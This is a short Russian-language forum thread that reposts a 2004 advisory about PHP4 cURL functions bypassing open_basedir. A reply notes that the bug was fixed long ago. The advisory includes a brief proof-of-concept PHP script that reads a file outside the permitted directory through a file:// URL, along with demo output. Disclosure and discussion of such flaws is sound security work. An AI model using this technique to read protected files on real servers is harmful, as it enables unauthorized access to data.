IMHO.WS

IMHO.WS (http://www.imho.ws/index.php)
-   Веб-программирование (http://www.imho.ws/forumdisplay.php?f=29)
-   -   PHP Взлом (http://www.imho.ws/showthread.php?t=96145)

Kolida 19.11.2005 13:37

PHP Взлом
 
PHP код:

From: FraMe <frame_@_hispalab.com>  
Date: 30 октября 2004 г. 
Subject: PHP4 cURL functions bypass open_basedir 

====================================================
Subject: PHP4 cURL functions bypass open_basedir
Author: frame at kernelpanik.org
Product: PHP4 compile with cURL (not tested in PHP5)
Vendor: PHP/Zend
Vendor URL: www.php.net
Tipe: Local
Risk: Low/Medium
=====================================================
 
PHP cURL functions bypass open_basedir
protection, so users can navigate through
filesystem.
 
For example, setting "open_basedir" in php.ini to
"/var/www/html" anybody can retrieve "/etc/parla"
using cURL functions.
 
== Proof of concept (curl.php)
<?php
$ch 
curl_init("file:///etc/parla");
$file=curl_exec($ch);
echo 
$file
?>
 
== Demo
$ cat /etc/parla
don't read please!
 
$ links -dump http://localhost/curltest/curl.php
don't read please!

== Release Timeline
No release timeline.

-- 
FraMe <frame@kernelpanik.org>
http://www.kernelpanik.org

Найдите ошибку

_______________________
www.grand-casino.ru или Grand Casino

Al-x 20.11.2005 11:59

Ошибку уже давно нашли и исправили :)
Читай здесь.
PS: А это вообще к чему?


Часовой пояс GMT +4, время: 21:23.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.